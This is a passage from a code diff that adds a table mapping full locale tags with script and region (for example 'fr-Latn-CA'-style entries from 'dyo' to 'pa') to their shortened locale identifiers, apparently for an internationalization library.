+ "dyo-Latn-SN": "dyo",
+ "dyu-Latn-BF": "dyu",
+ "dz-Tibt-BT": "dz",
+ "dzg-Latn-ZZ": "dzg",
+ "ebu-Latn-KE": "ebu",
+ "ee-Latn-GH": "ee",
+ "efi-Latn-NG": "efi",
+ "egl-Latn-IT": "egl",
+ "egy-Egyp-EG": "egy",
+ "eka-Latn-ZZ": "eka",
+ "eky-Kali-MM": "eky",
+ "el-Grek-CY": "el-CY",
+ "el-Grek-GR": "el",
+ "ema-Latn-ZZ": "ema",
+ "emi-Latn-ZZ": "emi",
+ "en-Latn-AU": "en-AU",
+ "en-Latn-DG": "en-DG",
+ "en-Latn-ET": "en-ET",
+ "en-Latn-GB": "en-GB",
+ "en-Latn-GU": "en-GU",
+ "en-Latn-NG": "en-NG",
+ "en-Latn-PG": "en-PG",
+ "en-Latn-US": "en",
+ "en-Latn-ZA": "en-ZA",
+ "en-Shaw-GB": "en-Shaw",
+ "enn-Latn-ZZ": "enn",
+ "enq-Latn-ZZ": "enq",
+ "eo-Latn-001": "eo",
+ "eri-Latn-ZZ": "eri",
+ "es-Latn-419": "es-419",
+ "es-Latn-AR": "es-AR",
+ "es-Latn-BO": "es-BO",
+ "es-Latn-CL": "es-CL",
+ "es-Latn-CO": "es-CO",
+ "es-Latn-CR": "es-CR",
+ "es-Latn-CU": "es-CU",
+ "es-Latn-DO": "es-DO",
+ "es-Latn-EA": "es-EA",
+ "es-Latn-EC": "es-EC",
+ "es-Latn-ES": "es",
+ "es-Latn-GQ": "es-GQ",
+ "es-Latn-GT": "es-GT",
+ "es-Latn-HN": "es-HN",
+ "es-Latn-IC": "es-IC",
+ "es-Latn-MX": "es-MX",
+ "es-Latn-NI": "es-NI",
+ "es-Latn-PA": "es-PA",
+ "es-Latn-PE": "es-PE",
+ "es-Latn-PR": "es-PR",
+ "es-Latn-SV": "es-SV",
+ "es-Latn-UY": "es-UY",
+ "es-Latn-VE": "es-VE",
+ "esg-Gonm-IN": "esg",
+ "esu-Latn-US": "esu",
+ "et-Latn-EE": "et",
+ "etr-Latn-ZZ": "etr",
+ "ett-Ital-IT": "ett",
+ "etu-Latn-ZZ": "etu",
+ "etx-Latn-ZZ": "etx",
+ "eu-Latn-ES": "eu",
+ "ewo-Latn-CM": "ewo",
+ "ext-Latn-ES": "ext",
+ "fa-Arab-AF": "fa-AF",
+ "fa-Arab-IR": "fa",
+ "fa-Arab-TJ": "fa-TJ",
+ "faa-Latn-ZZ": "faa",
+ "fab-Latn-ZZ": "fab",
+ "fag-Latn-ZZ": "fag",
+ "fai-Latn-ZZ": "fai",
+ "fan-Latn-GQ": "fan",
+ "ff-Adlm-GN": "ff-Adlm",
+ "ff-Latn-SN": "ff",
+ "ffi-Latn-ZZ": "ffi",
+ "ffm-Latn-ML": "ffm",
+ "fi-Latn-FI": "fi",
+ "fia-Arab-SD": "fia",
+ "fil-Latn-PH": "fil",
+ "fil-Tglg-PH": "fil-Tglg",
+ "fit-Latn-SE": "fit",
+ "fj-Latn-FJ": "fj",
+ "flr-Latn-ZZ": "flr",
+ "fmp-Latn-ZZ": "fmp",
+ "fo-Latn-FO": "fo",
+ "fod-Latn-ZZ": "fod",
+ "fon-Latn-BJ": "fon",
+ "for-Latn-ZZ": "for",
+ "fpe-Latn-ZZ": "fpe",
+ "fqs-Latn-ZZ": "fqs",
+ "fr-Brai-FR": "fr-Brai",
+ "fr-Dupl-FR": "fr-Dupl",
+ "fr-Latn-BF": "fr-BF",
+ "fr-Latn-BJ": "fr-BJ",
+ "fr-Latn-BL": "fr-BL",
+ "fr-Latn-CF": "fr-CF",
+ "fr-Latn-CG": "fr-CG",
+ "fr-Latn-CI": "fr-CI",
+ "fr-Latn-CM": "fr-CM",
+ "fr-Latn-DZ": "fr-DZ",
+ "fr-Latn-FR": "fr",
+ "fr-Latn-GA": "fr-GA",
+ "fr-Latn-GF": "fr-GF",
+ "fr-Latn-GN": "fr-GN",
+ "fr-Latn-GP": "fr-GP",
+ "fr-Latn-KM": "fr-KM",
+ "fr-Latn-LU": "fr-LU",
+ "fr-Latn-MA": "fr-MA",
+ "fr-Latn-MC": "fr-MC",
+ "fr-Latn-MF": "fr-MF",
+ "fr-Latn-MQ": "fr-MQ",
+ "fr-Latn-MR": "fr-MR",
+ "fr-Latn-NC": "fr-NC",
+ "fr-Latn-PF": "fr-PF",
+ "fr-Latn-PM": "fr-PM",
+ "fr-Latn-RE": "fr-RE",
+ "fr-Latn-SC": "fr-SC",
+ "fr-Latn-SN": "fr-SN",
+ "fr-Latn-SY": "fr-SY",
+ "fr-Latn-TD": "fr-TD",
+ "fr-Latn-TF": "fr-TF",
+ "fr-Latn-TG": "fr-TG",
+ "fr-Latn-TN": "fr-TN",
+ "fr-Latn-WF": "fr-WF",
+ "fr-Latn-YT": "fr-YT",
+ "frc-Latn-US": "frc",
+ "frp-Latn-FR": "frp",
+ "frr-Latn-DE": "frr",
+ "frs-Latn-DE": "frs",
+ "fub-Arab-CM": "fub",
+ "fud-Latn-WF": "fud",
+ "fue-Latn-ZZ": "fue",
+ "fuf-Latn-GN": "fuf",
+ "fuh-Latn-ZZ": "fuh",
+ "fuq-Latn-NE": "fuq",
+ "fur-Latn-IT": "fur",
+ "fuv-Latn-NG": "fuv",
+ "fuy-Latn-ZZ": "fuy",
+ "fvr-Latn-SD": "fvr",
+ "fy-Latn-NL": "fy",
+ "ga-Latn-IE": "ga",
+ "gaa-Latn-GH": "gaa",
+ "gaf-Latn-ZZ": "gaf",
+ "gag-Latn-MD": "gag",
+ "gah-Latn-ZZ": "gah",
+ "gaj-Latn-ZZ": "gaj",
+ "gam-Latn-ZZ": "gam",
+ "gan-Hans-CN": "gan",
+ "gaw-Latn-ZZ": "gaw",
+ "gay-Latn-ID": "gay",
+ "gba-Latn-ZZ": "gba",
+ "gbf-Latn-ZZ": "gbf",
+ "gbm-Deva-IN": "gbm",
+ "gby-Latn-ZZ": "gby",
+ "gbz-Arab-IR": "gbz",
+ "gcr-Latn-GF": "gcr",
+ "gd-Latn-GB": "gd",
+ "gde-Latn-ZZ": "gde",
+ "gdn-Latn-ZZ": "gdn",
+ "gdr-Latn-ZZ": "gdr",
+ "geb-Latn-ZZ": "geb",
+ "gej-Latn-ZZ": "gej",
+ "gel-Latn-ZZ": "gel",
+ "gez-Ethi-ET": "gez",
+ "gfk-Latn-ZZ": "gfk",
+ "ghs-Latn-ZZ": "ghs",
+ "gil-Latn-KI": "gil",
+ "gim-Latn-ZZ": "gim",
+ "gjk-Arab-PK": "gjk",
+ "gjn-Latn-ZZ": "gjn",
+ "gju-Arab-PK": "gju",
+ "gkn-Latn-ZZ": "gkn",
+ "gkp-Latn-ZZ": "gkp",
+ "gl-Latn-ES": "gl",
+ "glk-Arab-IR": "glk",
+ "gmm-Latn-ZZ": "gmm",
+ "gmv-Ethi-ZZ": "gmv",
+ "gn-Latn-PY": "gn",
+ "gnd-Latn-ZZ": "gnd",
+ "gng-Latn-ZZ": "gng",
+ "god-Latn-ZZ": "god",
+ "gof-Ethi-ZZ": "gof",
+ "goi-Latn-ZZ": "goi",
+ "gom-Deva-IN": "gom",
+ "gon-Telu-IN": "gon",
+ "gor-Latn-ID": "gor",
+ "gos-Latn-NL": "gos",
+ "got-Goth-UA": "got",
+ "grb-Latn-ZZ": "grb",
+ "grc-Cprt-CY": "grc",
+ "grc-Linb-GR": "grc-Linb",
+ "grt-Beng-IN": "grt",
+ "grw-Latn-ZZ": "grw",
+ "gsw-Latn-CH": "gsw",
+ "gu-Gujr-IN": "gu",
+ "gub-Latn-BR": "gub",
+ "guc-Latn-CO": "guc",
+ "gud-Latn-ZZ": "gud",
+ "gur-Latn-GH": "gur",
+ "guw-Latn-ZZ": "guw",
+ "gux-Latn-ZZ": "gux",
+ "guz-Latn-KE": "guz",
+ "gv-Latn-IM": "gv",
+ "gvf-Latn-ZZ": "gvf",
+ "gvr-Deva-NP": "gvr",
+ "gvs-Latn-ZZ": "gvs",
+ "gwc-Arab-ZZ": "gwc",
+ "gwi-Latn-CA": "gwi",
+ "gwt-Arab-ZZ": "gwt",
+ "gyi-Latn-ZZ": "gyi",
+ "ha-Arab-CM": "ha-CM",
+ "ha-Arab-NG": "ha-Arab",
+ "ha-Arab-SD": "ha-SD",
+ "ha-Latn-NE": "ha-NE",
+ "ha-Latn-NG": "ha",
+ "hag-Latn-ZZ": "hag",
+ "hak-Hans-CN": "hak",
+ "ham-Latn-ZZ": "ham",
+ "haw-Latn-US": "haw",
+ "haz-Arab-AF": "haz",
+ "hbb-Latn-ZZ": "hbb",
+ "hdy-Ethi-ZZ": "hdy",
+ "he-Hebr-IL": "he",
+ "hhy-Latn-ZZ": "hhy",
+ "hi-Deva-IN": "hi",
+ "hi-Latn-IN": "hi-Latn",
+ "hi-Mahj-IN": "hi-Mahj",
+ "hia-Latn-ZZ": "hia",
+ "hif-Deva-FJ": "hif-Deva",
+ "hif-Latn-FJ": "hif",
+ "hig-Latn-ZZ": "hig",
+ "hih-Latn-ZZ": "hih",
+ "hil-Latn-PH": "hil",
+ "hla-Latn-ZZ": "hla",
+ "hlu-Hluw-TR": "hlu",
+ "hmd-Plrd-CN": "hmd",
+ "hmt-Latn-ZZ": "hmt",
+ "hnd-Arab-PK": "hnd",
+ "hne-Deva-IN": "hne",
+ "hnj-Hmng-LA": "hnj",
+ "hnn-Hano-PH": "hnn-Hano",
+ "hnn-Latn-PH": "hnn",
+ "hno-Arab-PK": "hno",
+ "ho-Latn-PG": "ho",
+ "hoc-Deva-IN": "hoc",
+ "hoc-Wara-IN": "hoc-Wara",
+ "hoj-Deva-IN": "hoj",
+ "hot-Latn-ZZ": "hot",
+ "hr-Latn-HR": "hr",
+ "hsb-Latn-DE": "hsb",
+ "hsn-Hans-CN": "hsn",
+ "ht-Latn-HT": "ht",
+ "hu-Hung-HU": "hu-Hung",
+ "hu-Latn-HU": "hu",
+ "hui-Latn-ZZ": "hui",
+ "hy-Armn-AM": "hy",
+ "hz-Latn-NA": "hz",
+ "ia-Latn-001": "ia",
+ "ian-Latn-ZZ": "ian",
+ "iar-Latn-ZZ": "iar",
+ "iba-Latn-MY": "iba",
+ "ibb-Latn-NG": "ibb",
+ "iby-Latn-ZZ": "iby",
+ "ica-Latn-ZZ": "ica",
+ "ich-Latn-ZZ": "ich",
+ "id-Latn-ID": "id",
+ "idd-Latn-ZZ": "idd",
+ "idi-Latn-ZZ": "idi",
+ "idu-Latn-ZZ": "idu",
+ "ife-Latn-TG": "ife",
+ "ig-Latn-NG": "ig",
+ "igb-Latn-ZZ": "igb",
+ "ige-Latn-ZZ": "ige",
+ "ii-Yiii-CN": "ii",
+ "ijj-Latn-ZZ": "ijj",
+ "ik-Latn-US": "ik",
+ "ikk-Latn-ZZ": "ikk",
+ "ikt-Latn-CA": "ikt",
+ "ikw-Latn-ZZ": "ikw",
+ "ikx-Latn-ZZ": "ikx",
+ "ilo-Latn-PH": "ilo",
+ "imo-Latn-ZZ": "imo",
+ "inh-Cyrl-RU": "inh",
+ "io-Latn-001": "io",
+ "iou-Latn-ZZ": "iou",
+ "iri-Latn-ZZ": "iri",
+ "is-Latn-IS": "is",
+ "it-Latn-IT": "it",
+ "it-Latn-SM": "it-SM",
+ "it-Latn-VA": "it-VA",
+ "iu-Cans-CA": "iu",
+ "iwm-Latn-ZZ": "iwm",
+ "iws-Latn-ZZ": "iws",
+ "izh-Latn-RU": "izh",
+ "izi-Latn-ZZ": "izi",
+ "ja-Hira-JP": "ja-Hira",
+ "ja-Jpan-JP": "ja",
+ "ja-Kana-JP": "ja-Kana",
+ "jab-Latn-ZZ": "jab",
+ "jam-Latn-JM": "jam",
+ "jbo-Latn-001": "jbo",
+ "jbu-Latn-ZZ": "jbu",
+ "jen-Latn-ZZ": "jen",
+ "jgk-Latn-ZZ": "jgk",
+ "jgo-Latn-CM": "jgo",
+ "jib-Latn-ZZ": "jib",
+ "jmc-Latn-TZ": "jmc",
+ "jml-Deva-NP": "jml",
+ "jra-Latn-ZZ": "jra",
+ "jut-Latn-DK": "jut",
+ "jv-Java-ID": "jv-Java",
+ "jv-Latn-ID": "jv",
+ "ka-Geor-GE": "ka",
+ "kaa-Cyrl-UZ": "kaa",
+ "kab-Latn-DZ": "kab",
+ "kac-Latn-MM": "kac",
+ "kad-Latn-ZZ": "kad",
+ "kai-Latn-ZZ": "kai",
+ "kaj-Latn-NG": "kaj",
+ "kam-Latn-KE": "kam",
+ "kao-Latn-ML": "kao",
+ "kbd-Cyrl-RU": "kbd",
+ "kbd-Cyrl-TR": "kbd-TR",
+ "kbm-Latn-ZZ": "kbm",
+ "kbp-Latn-ZZ": "kbp",
+ "kbq-Latn-ZZ": "kbq",
+ "kbx-Latn-ZZ": "kbx",
+ "kby-Arab-NE": "kby",
+ "kcg-Latn-NG": "kcg",
+ "kck-Latn-ZW": "kck",
+ "kcl-Latn-ZZ": "kcl",
+ "kct-Latn-ZZ": "kct",
+ "kde-Latn-TZ": "kde",
+ "kdh-Arab-TG": "kdh",
+ "kdl-Latn-ZZ": "kdl",
+ "kdt-Thai-KH": "kdt-KH",
+ "kdt-Thai-LA": "kdt-LA",
+ "kdt-Thai-TH": "kdt",
+ "kea-Latn-CV": "kea",
+ "ken-Latn-CM": "ken",
+ "kez-Latn-ZZ": "kez",
+ "kfo-Latn-CI": "kfo",
+ "kfr-Deva-IN": "kfr",
+ "kfy-Deva-IN": "kfy",
+ "kg-Latn-CD": "kg",
+ "kge-Latn-ID": "kge",
+ "kgf-Latn-ZZ": "kgf",
+ "kgp-Latn-BR": "kgp",
+ "kha-Latn-IN": "kha",
+ "khb-Talu-CN": "khb",
+ "khn-Deva-IN": "khn",
+ "khq-Latn-ML": "khq",
+ "khs-Latn-ZZ": "khs",
+ "kht-Mymr-IN": "kht",
+ "khw-Arab-PK": "khw",
+ "khz-Latn-ZZ": "khz",
+ "ki-Latn-KE": "ki",
+ "kij-Latn-ZZ": "kij",
+ "kiu-Latn-TR": "kiu",
+ "kiw-Latn-ZZ": "kiw",
+ "kj-Latn-NA": "kj",
+ "kjd-Latn-ZZ": "kjd",
+ "kjg-Laoo-LA": "kjg",
+ "kjs-Latn-ZZ": "kjs",
+ "kjy-Latn-ZZ": "kjy",
+ "kk-Arab-AF": "kk-AF",
+ "kk-Arab-CN": "kk-CN",
+ "kk-Arab-IR": "kk-IR",
+ "kk-Arab-MN": "kk-MN",
+ "kk-Cyrl-KZ": "kk",
+ "kkc-Latn-ZZ": "kkc",
+ "kkj-Latn-CM": "kkj",
+ "kl-Latn-GL": "kl",
+ "kln-Latn-KE": "kln",
+ "klq-Latn-ZZ": "klq",
+ "klt-Latn-ZZ": "klt",
+ "klx-Latn-ZZ": "klx",
+ "km-Khmr-KH": "km",
+ "kmb-Latn-AO": "kmb",
+ "kmh-Latn-ZZ": "kmh",
+ "kmo-Latn-ZZ": "kmo",
+ "kms-Latn-ZZ": "kms",
+ "kmu-Latn-ZZ": "kmu",
+ "kmw-Latn-ZZ": "kmw",
+ "kn-Knda-IN": "kn",
+ "knf-Latn-GW": "knf",
+ "knp-Latn-ZZ": "knp",
+ "ko-Hang-KR": "ko-Hang",
+ "ko-Jamo-KR": "ko-Jamo",
+ "ko-Kore-KP": "ko-KP",
+ "ko-Kore-KR": "ko",
+ "koi-Cyrl-RU": "koi",
+ "kok-Deva-IN": "kok",
+ "kol-Latn-ZZ": "kol",
+ "kos-Latn-FM": "kos",
+ "koz-Latn-ZZ": "koz",
+ "kpe-Latn-LR": "kpe",
+ "kpf-Latn-ZZ": "kpf",
+ "kpo-Latn-ZZ": "kpo",
+ "kpr-Latn-ZZ": "kpr",
+ "kpx-Latn-ZZ": "kpx",
+ "kqb-Latn-ZZ": "kqb",
+ "kqf-Latn-ZZ": "kqf",
+ "kqs-Latn-ZZ": "kqs",
+ "kqy-Ethi-ZZ": "kqy",
+ "kr-Latn-ZZ": "kr",
+ "krc-Cyrl-RU": "krc",
+ "kri-Latn-SL": "kri",
+ "krj-Latn-PH": "krj",
+ "krl-Latn-RU": "krl",
+ "krs-Latn-ZZ": "krs",
+ "kru-Deva-IN": "kru",
+ "ks-Arab-GB": "ks-GB",
+ "ks-Arab-IN": "ks",
+ "ks-Deva-IN": "ks-Deva",
+ "ksb-Latn-TZ": "ksb",
+ "ksd-Latn-ZZ": "ksd",
+ "ksf-Latn-CM": "ksf",
+ "ksh-Latn-DE": "ksh",
+ "ksj-Latn-ZZ": "ksj",
+ "ksr-Latn-ZZ": "ksr",
+ "ktb-Ethi-ZZ": "ktb",
+ "ktm-Latn-ZZ": "ktm",
+ "kto-Latn-ZZ": "kto",
+ "ku-Arab-IQ": "ku-Arab",
+ "ku-Arab-LB": "ku-LB",
+ "ku-Latn-AM": "ku-AM",
+ "ku-Latn-GE": "ku-GE",
+ "ku-Latn-TR": "ku",
+ "ku-Yezi-GE": "ku-Yezi",
+ "kub-Latn-ZZ": "kub",
+ "kud-Latn-ZZ": "kud",
+ "kue-Latn-ZZ": "kue",
+ "kuj-Latn-ZZ": "kuj",
+ "kum-Cyrl-RU": "kum",
+ "kun-Latn-ZZ": "kun",
+ "kup-Latn-ZZ": "kup",
+ "kus-Latn-ZZ": "kus",
+ "kv-Cyrl-RU": "kv",
+ "kv-Perm-RU": "kv-Perm",
+ "kvg-Latn-ZZ": "kvg",
+ "kvr-Latn-ID": "kvr",
+ "kvx-Arab-PK": "kvx",
+ "kw-Latn-GB": "kw",
+ "kwj-Latn-ZZ": "kwj",
+ "kwo-Latn-ZZ": "kwo",
+ "kxa-Latn-ZZ": "kxa",
+ "kxc-Ethi-ZZ": "kxc",
+ "kxm-Thai-TH": "kxm",
+ "kxp-Arab-PK": "kxp",
+ "kxw-Latn-ZZ": "kxw",
+ "kxz-Latn-ZZ": "kxz",
+ "ky-Arab-CN": "ky-CN",
+ "ky-Cyrl-KG": "ky",
+ "ky-Latn-TR": "ky-TR",
+ "kye-Latn-ZZ": "kye",
+ "kyx-Latn-ZZ": "kyx",
+ "kzr-Latn-ZZ": "kzr",
+ "la-Latn-VA": "la",
+ "lab-Lina-GR": "lab",
+ "lad-Hebr-IL": "lad",
+ "lag-Latn-TZ": "lag",
+ "lah-Arab-PK": "lah",
+ "laj-Latn-UG": "laj",
+ "las-Latn-ZZ": "las",
+ "lb-Latn-LU": "lb",
+ "lbe-Cyrl-RU": "lbe",
+ "lbu-Latn-ZZ": "lbu",
+ "lbw-Latn-ID": "lbw",
+ "lcm-Latn-ZZ": "lcm",
+ "lcp-Thai-CN": "lcp",
+ "ldb-Latn-ZZ": "ldb",
+ "led-Latn-ZZ": "led",
+ "lee-Latn-ZZ": "lee",
+ "lem-Latn-ZZ": "lem",
+ "lep-Lepc-IN": "lep",
+ "leq-Latn-ZZ": "leq",
+ "leu-Latn-ZZ": "leu",
+ "lez-Aghb-RU": "lez-Aghb",
+ "lez-Cyrl-RU": "lez",
+ "lg-Latn-UG": "lg",
+ "lgg-Latn-ZZ": "lgg",
+ "li-Latn-NL": "li",
+ "lia-Latn-ZZ": "lia",
+ "lid-Latn-ZZ": "lid",
+ "lif-Deva-NP": "lif",
+ "lif-Limb-IN": "lif-Limb",
+ "lig-Latn-ZZ": "lig",
+ "lih-Latn-ZZ": "lih",
+ "lij-Latn-IT": "lij",
+ "lis-Lisu-CN": "lis",
+ "ljp-Latn-ID": "ljp",
+ "lki-Arab-IR": "lki",
+ "lkt-Latn-US": "lkt",
+ "lle-Latn-ZZ": "lle",
+ "lln-Latn-ZZ": "lln",
+ "lmn-Telu-IN": "lmn",
+ "lmo-Latn-IT": "lmo",
+ "lmp-Latn-ZZ": "lmp",
+ "ln-Latn-CD": "ln",
+ "lns-Latn-ZZ": "lns",
+ "lnu-Latn-ZZ": "lnu",
+ "lo-Laoo-LA": "lo",
+ "loj-Latn-ZZ": "loj",
+ "lok-Latn-ZZ": "lok",
+ "lol-Latn-CD": "lol",
+ "lor-Latn-ZZ": "lor",
+ "los-Latn-ZZ": "los",
+ "loz-Latn-ZM": "loz",
+ "lrc-Arab-IR": "lrc",
+ "lt-Latn-LT": "lt",
+ "ltg-Latn-LV": "ltg",
+ "lu-Latn-CD": "lu",
+ "lua-Latn-CD": "lua",
+ "luo-Latn-KE": "luo",
+ "luy-Latn-KE": "luy",
+ "luz-Arab-IR": "luz",
+ "lv-Latn-LV": "lv",
+ "lwl-Thai-TH": "lwl",
+ "lzh-Hans-CN": "lzh",
+ "lzh-Phag-CN": "lzh-Phag",
+ "lzz-Latn-TR": "lzz",
+ "mad-Latn-ID": "mad",
+ "maf-Latn-CM": "maf",
+ "mag-Deva-IN": "mag",
+ "mai-Deva-IN": "mai",
+ "mai-Tirh-IN": "mai-Tirh",
+ "mak-Latn-ID": "mak",
+ "mak-Maka-ID": "mak-Maka",
+ "man-Latn-GM": "man",
+ "man-Nkoo-GN": "man-GN",
+ "mas-Latn-KE": "mas",
+ "maw-Latn-ZZ": "maw",
+ "maz-Latn-MX": "maz",
+ "mbh-Latn-ZZ": "mbh",
+ "mbo-Latn-ZZ": "mbo",
+ "mbq-Latn-ZZ": "mbq",
+ "mbu-Latn-ZZ": "mbu",
+ "mbw-Latn-ZZ": "mbw",
+ "mci-Latn-ZZ": "mci",
+ "mcp-Latn-ZZ": "mcp",
+ "mcq-Latn-ZZ": "mcq",
+ "mcr-Latn-ZZ": "mcr",
+ "mcu-Latn-ZZ": "mcu",
+ "mda-Latn-ZZ": "mda",
+ "mde-Arab-ZZ": "mde",
+ "mdf-Cyrl-RU": "mdf",
+ "mdh-Latn-PH": "mdh",
+ "mdj-Latn-ZZ": "mdj",
+ "mdr-Latn-ID": "mdr",
+ "mdx-Ethi-ZZ": "mdx",
+ "med-Latn-ZZ": "med",
+ "mee-Latn-ZZ": "mee",
+ "mek-Latn-ZZ": "mek",
+ "men-Latn-SL": "men",
+ "men-Mend-SL": "men-Mend",
+ "mer-Latn-KE": "mer",
+ "met-Latn-ZZ": "met",
+ "meu-Latn-ZZ": "meu",
+ "mfa-Arab-TH": "mfa",
+ "mfe-Latn-MU": "mfe",
+ "mfn-Latn-ZZ": "mfn",
+ "mfo-Latn-ZZ": "mfo",
+ "mfq-Latn-ZZ": "mfq",
+ "mg-Latn-MG": "mg",
+ "mgh-Latn-MZ": "mgh",
+ "mgl-Latn-ZZ": "mgl",
+ "mgo-Latn-CM": "mgo",
+ "mgp-Deva-NP": "mgp",
+ "mgy-Latn-TZ": "mgy",
+ "mh-Latn-MH": "mh",
+ "mhi-Latn-ZZ": "mhi",
+ "mhl-Latn-ZZ": "mhl",
+ "mi-Latn-NZ": "mi",
+ "mif-Latn-ZZ": "mif",
+ "min-Latn-ID": "min",
+ "mis-Hatr-IQ": "mis",
+ "mis-Medf-NG": "mis-Medf",
+ "miw-Latn-ZZ": "miw",
+ "mk-Cyrl-AL": "mk-AL",
+ "mk-Cyrl-GR": "mk-GR",
+ "mk-Cyrl-MK": "mk",
+ "mki-Arab-ZZ": "mki",
+ "mkl-Latn-ZZ": "mkl",
+ "mkp-Latn-ZZ": "mkp",
+ "mkw-Latn-ZZ": "mkw",
+ "ml-Mlym-IN": "ml",
+ "mle-Latn-ZZ": "mle",
+ "mlp-Latn-ZZ": "mlp",
+ "mls-Latn-SD": "mls",
+ "mmo-Latn-ZZ": "mmo",
+ "mmu-Latn-ZZ": "mmu",
+ "mmx-Latn-ZZ": "mmx",
+ "mn-Cyrl-MN": "mn",
+ "mn-Mong-CN": "mn-CN",
+ "mna-Latn-ZZ": "mna",
+ "mnf-Latn-ZZ": "mnf",
+ "mni-Beng-IN": "mni",
+ "mni-Mtei-IN": "mni-Mtei",
+ "mnw-Mymr-MM": "mnw",
+ "mnw-Mymr-TH": "mnw-TH",
+ "moa-Latn-ZZ": "moa",
+ "moe-Latn-CA": "moe",
+ "moh-Latn-CA": "moh",
+ "mos-Latn-BF": "mos",
+ "mox-Latn-ZZ": "mox",
+ "mpp-Latn-ZZ": "mpp",
+ "mps-Latn-ZZ": "mps",
+ "mpt-Latn-ZZ": "mpt",
+ "mpx-Latn-ZZ": "mpx",
+ "mql-Latn-ZZ": "mql",
+ "mr-Deva-IN": "mr",
+ "mr-Modi-IN": "mr-Modi",
+ "mrd-Deva-NP": "mrd",
+ "mrj-Cyrl-RU": "mrj",
+ "mro-Mroo-BD": "mro",
+ "ms-Arab-CC": "ms-CC",
+ "ms-Arab-ID": "ms-Arab-ID",
+ "ms-Latn-BN": "ms-BN",
+ "ms-Latn-ID": "ms-ID",
+ "ms-Latn-MY": "ms",
+ "mt-Latn-MT": "mt",
+ "mtc-Latn-ZZ": "mtc",
+ "mtf-Latn-ZZ": "mtf",
+ "mti-Latn-ZZ": "mti",
+ "mtr-Deva-IN": "mtr",
+ "mua-Latn-CM": "mua",
+ "mur-Latn-ZZ": "mur",
+ "mus-Latn-US": "mus",
+ "mva-Latn-ZZ": "mva",
+ "mvn-Latn-ZZ": "mvn",
+ "mvy-Arab-PK": "mvy",
+ "mwk-Latn-ML": "mwk",
+ "mwr-Deva-IN": "mwr",
+ "mwv-Latn-ID": "mwv",
+ "mww-Hmnp-US": "mww",
+ "mxc-Latn-ZW": "mxc",
+ "mxm-Latn-ZZ": "mxm",
+ "my-Mymr-MM": "my",
+ "myk-Latn-ZZ": "myk",
+ "mym-Ethi-ZZ": "mym",
+ "myv-Cyrl-RU": "myv",
+ "myw-Latn-ZZ": "myw",
+ "myx-Latn-UG": "myx",
+ "myz-Mand-IR": "myz",
+ "mzk-Latn-ZZ": "mzk",
+ "mzm-Latn-ZZ": "mzm",
+ "mzn-Arab-IR": "mzn",
+ "mzp-Latn-ZZ": "mzp",
+ "mzw-Latn-ZZ": "mzw",
+ "mzz-Latn-ZZ": "mzz",
+ "na-Latn-NR": "na",
+ "nac-Latn-ZZ": "nac",
+ "naf-Latn-ZZ": "naf",
+ "nak-Latn-ZZ": "nak",
+ "nan-Hans-CN": "nan",
+ "nap-Latn-IT": "nap",
+ "naq-Latn-NA": "naq",
+ "nas-Latn-ZZ": "nas",
+ "nb-Latn-NO": "nb",
+ "nb-Latn-SJ": "nb-SJ",
+ "nca-Latn-ZZ": "nca",
+ "nce-Latn-ZZ": "nce",
+ "ncf-Latn-ZZ": "ncf",
+ "nch-Latn-MX": "nch",
+ "nco-Latn-ZZ": "nco",
+ "ncu-Latn-ZZ": "ncu",
+ "nd-Latn-ZW": "nd",
+ "ndc-Latn-MZ": "ndc",
+ "nds-Latn-DE": "nds",
+ "ne-Deva-BT": "ne-BT",
+ "ne-Deva-NP": "ne",
+ "neb-Latn-ZZ": "neb",
+ "new-Deva-NP": "new",
+ "new-Newa-NP": "new-Newa",
+ "nex-Latn-ZZ": "nex",
+ "nfr-Latn-ZZ": "nfr",
+ "ng-Latn-NA": "ng",
+ "nga-Latn-ZZ": "nga",
+ "ngb-Latn-ZZ": "ngb",
+ "ngl-Latn-MZ": "ngl",
+ "nhb-Latn-ZZ": "nhb",
+ "nhe-Latn-MX": "nhe",
+ "nhw-Latn-MX": "nhw",
+ "nif-Latn-ZZ": "nif",
+ "nii-Latn-ZZ": "nii",
+ "nij-Latn-ID": "nij",
+ "nin-Latn-ZZ": "nin",
+ "niu-Latn-NU": "niu",
+ "niy-Latn-ZZ": "niy",
+ "niz-Latn-ZZ": "niz",
+ "njo-Latn-IN": "njo",
+ "nkg-Latn-ZZ": "nkg",
+ "nko-Latn-ZZ": "nko",
+ "nl-Latn-AW": "nl-AW",
+ "nl-Latn-BE": "nl-BE",
+ "nl-Latn-NL": "nl",
+ "nl-Latn-SR": "nl-SR",
+ "nmg-Latn-CM": "nmg",
+ "nmz-Latn-ZZ": "nmz",
+ "nn-Latn-NO": "nn",
+ "nnf-Latn-ZZ": "nnf",
+ "nnh-Latn-CM": "nnh",
+ "nnk-Latn-ZZ": "nnk",
+ "nnm-Latn-ZZ": "nnm",
+ "nnp-Wcho-IN": "nnp",
+ "nod-Lana-TH": "nod",
+ "noe-Deva-IN": "noe",
+ "non-Runr-SE": "non",
+ "nop-Latn-ZZ": "nop",
+ "nou-Latn-ZZ": "nou",
+ "nqo-Nkoo-GN": "nqo",
+ "nr-Latn-ZA": "nr",
+ "nrb-Latn-ZZ": "nrb",
+ "nsk-Cans-CA": "nsk",
+ "nsn-Latn-ZZ": "nsn",
+ "nso-Latn-ZA": "nso",
+ "nss-Latn-ZZ": "nss",
+ "ntm-Latn-ZZ": "ntm",
+ "ntr-Latn-ZZ": "ntr",
+ "nui-Latn-ZZ": "nui",
+ "nup-Latn-ZZ": "nup",
+ "nus-Latn-SS": "nus",
+ "nuv-Latn-ZZ": "nuv",
+ "nux-Latn-ZZ": "nux",
+ "nv-Latn-US": "nv",
+ "nwb-Latn-ZZ": "nwb",
+ "nxq-Latn-CN": "nxq",
+ "nxr-Latn-ZZ": "nxr",
+ "ny-Latn-MW": "ny",
+ "nym-Latn-TZ": "nym",
+ "nyn-Latn-UG": "nyn",
+ "nzi-Latn-GH": "nzi",
+ "oc-Latn-FR": "oc",
+ "ogc-Latn-ZZ": "ogc",
+ "okr-Latn-ZZ": "okr",
+ "okv-Latn-ZZ": "okv",
+ "om-Latn-ET": "om",
+ "ong-Latn-ZZ": "ong",
+ "onn-Latn-ZZ": "onn",
+ "ons-Latn-ZZ": "ons",
+ "opm-Latn-ZZ": "opm",
+ "or-Orya-IN": "or",
+ "oro-Latn-ZZ": "oro",
+ "oru-Arab-ZZ": "oru",
+ "os-Cyrl-GE": "os",
+ "osa-Osge-US": "osa",
+ "ota-Arab-ZZ": "ota",
+ "otk-Orkh-MN": "otk",
+ "ozm-Latn-ZZ": "ozm",
+ "pa-Arab-PK": "pa-PK",
+ "pa-Guru-IN": "pa",
